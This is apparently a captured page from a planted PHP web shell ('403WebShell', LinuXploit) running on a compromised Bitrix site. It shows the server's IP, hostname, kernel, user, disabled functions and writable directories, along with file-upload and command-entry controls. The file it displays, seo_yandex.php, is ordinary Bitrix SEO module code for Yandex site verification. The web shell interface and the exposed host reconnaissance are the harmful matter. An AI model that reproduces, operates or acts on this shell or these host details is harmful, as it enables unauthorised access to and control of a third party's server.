%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.222.106.43
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/seo/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/seo/tools/seo_yandex.php
<?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/prolog.php");

if (!$USER->CanDoOperation('seo_tools') || !check_bitrix_sessid())
	die(GetMessage("ACCESS_DENIED"));

use Bitrix\Seo\Engine;
use Bitrix\Main\Text\Converter;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\IO\Path;

\Bitrix\Main\Loader::includeModule('seo');
\Bitrix\Main\Loader::includeModule('socialservices');

CUtil::JSPostUnescape();

Loc::loadMessages(dirname(__FILE__).'/../include.php');

$engine = new Engine\Yandex();

if(isset($_REQUEST['action']))
{
	$res = array();

	$arDomain = null;
	if(isset($_REQUEST['domain']) && $_REQUEST['domain'] <> '')
	{
		$bFound = false;
		$arDomains = \CSeoUtils::getDomainsList();
		foreach($arDomains as $arDomain)
		{
			if($arDomain['DOMAIN'] == $_REQUEST['domain'] && rtrim($arDomain['SITE_DIR'], '/') == rtrim($_REQUEST['dir'], '/'))
			{
				$bFound = true;
				break;
			}
		}

		if(!$bFound)
		{
			$res = array('error' => 'Unknown site!');
		}
	}

	if(!$res['error'])
	{
		try
		{
			switch($_REQUEST['action'])
			{
				case 'nullify_auth':
					$engine->clearAuthSettings();
					$res = array("result" => true);
				break;

				case 'sites_feed':
					$res = $engine->getFeeds();
				break;

				case 'site_add':
					$res = $engine->addSite($arDomain['DOMAIN'], $arDomain['SITE_DIR']);
					$res['_domain'] = $arDomain['DOMAIN'];
				break;

				case 'top-queries':
					$res = $engine->getSiteInfoQueries($arDomain['DOMAIN']);
				break;

				case 'site_verify':
					$res = array('error' => array('message' => 'Unknown domain'));
					
					if(is_array($arDomain))
					{
						$arFeeds = $engine->getFeeds();
						if(isset($arFeeds[$arDomain['DOMAIN']]) && is_array($arFeeds[$arDomain['DOMAIN']]))
						{
//							todo: remove 'VERIFIED' after complete migration to v3
							if(/*$arFeeds[$arDomain['DOMAIN']]['verification'] != 'VERIFIED' || */$arFeeds[$arDomain['DOMAIN']]['verified'] === false)
							{
//								get unnicue string for verification
								$uin = $engine->getVerifySiteUin($arDomain['DOMAIN']);
								if($uin)
								{
									$filename = "yandex_".$uin.".html";

									$path = Path::combine((
										$arDomain['SITE_DOC_ROOT'] <> ''
											? $arDomain['SITE_DOC_ROOT']
											: $_SERVER['DOCUMENT_ROOT']
										), $arDomain['SITE_DIR'], $filename);
									$obFile = new \Bitrix\Main\IO\File($path);
									$obFile->putContents('<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></head><body>Verification: '.$uin.'</body></html>');

									$res = $engine->verifySite($arDomain['DOMAIN']);

									//$obFile->delete();
								}
							}
						}

						$res['_domain'] = $arDomain['DOMAIN'];
					}
					else
					{
						$res = array('error' => 'No domain');
					}
				break;

				case 'original_text':
					$textContent = $_POST['original_text'];
					$res = $engine->addOriginalText($textContent, $arDomain['DOMAIN']);
				break;

				case 'original_texts':
					$res = $engine->getOriginalTexts($arDomain['DOMAIN']);
				break;

				default:
					$res = array('error' => 'unknown action');
				break;
			}
		}
		catch(Engine\YandexException $e)
		{
			$res = array(
				'error' => array(
					'message' => $e->getMessage(),
					'status' => $e->getStatus(),
					'code' => $e->getCode(),
				)
			);
		}
	}

	Header('Content-type: application/json; charset='.LANG_CHARSET);
	echo \Bitrix\Main\Web\Json::encode($res);
}
elseif (isset($_REQUEST['get']))
{
	switch($_REQUEST['get'])
	{

		case 'original_text_form':
			$arSettings = $engine->getSettings();
			$arDomains = \CSeoUtils::getDomainsList();
			
//			if empty - save list of webmaster-sites in settings
			if(empty($arSettings['SITES']))
			{
				$engine->getFeeds();
				$arSettings = $engine->getSettings();
			}

			foreach($arDomains as $key => $domain)
			{
				if(!isset($arSettings['SITES'][$domain['DOMAIN']]))
				{
					unset($arDomains[$key]);
				}
			}

			if(count($arDomains) <= 0)
			{
				$msg = new CAdminMessage(array(
					'MESSAGE' => Loc::getMessage('SEO_YANDEX_ERROR'),
					'HTML' => 'Y'
				));
				echo $msg->Show();
			}
			else
			{
?>
<div id="seo_original_text_form_form">
<form name="seo_original_text_form" style="padding:0;margin: 0;">
	<b><?=Loc::getMessage('SEO_YANDEX_DOMAIN')?>: </b><select name="domain">
<?
				foreach($arDomains as $domain)
				{
					$errors = [];
					$domainView = \CBXPunycode::ToUnicode($domain['DOMAIN'], $errors);
					$domainEnc = Converter::getHtmlConverter()->encode($domain['DOMAIN']);
					$domainViewEnc = Converter::getHtmlConverter()->encode($domainView);


					?>
		<option value="<?=$domainEnc?>"><?=$domainViewEnc?></option>
<?
				}
?>
	</select><br /><br />
	<textarea style="width: 700px; height: 450px;" name="original_text"></textarea>
</form>
</div><div id="seo_original_text_form_ok" style="display: none;">
<?
	CAdminMessage::ShowMessage(
		array(
			"MESSAGE" => Loc::getMessage('SEO_YANDEX_ORIGINAL_TEXT_OK'),
			"HTML" => true,
			"DETAILS" => Loc::getMessage('SEO_YANDEX_ORIGINAL_TEXT_OK_DETAILS',
				array('#LANGUAGE_ID#' => LANGUAGE_ID)
			),
			"TYPE" => "OK",
		)
	);
?>
</div>
<?
			}
		break;
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit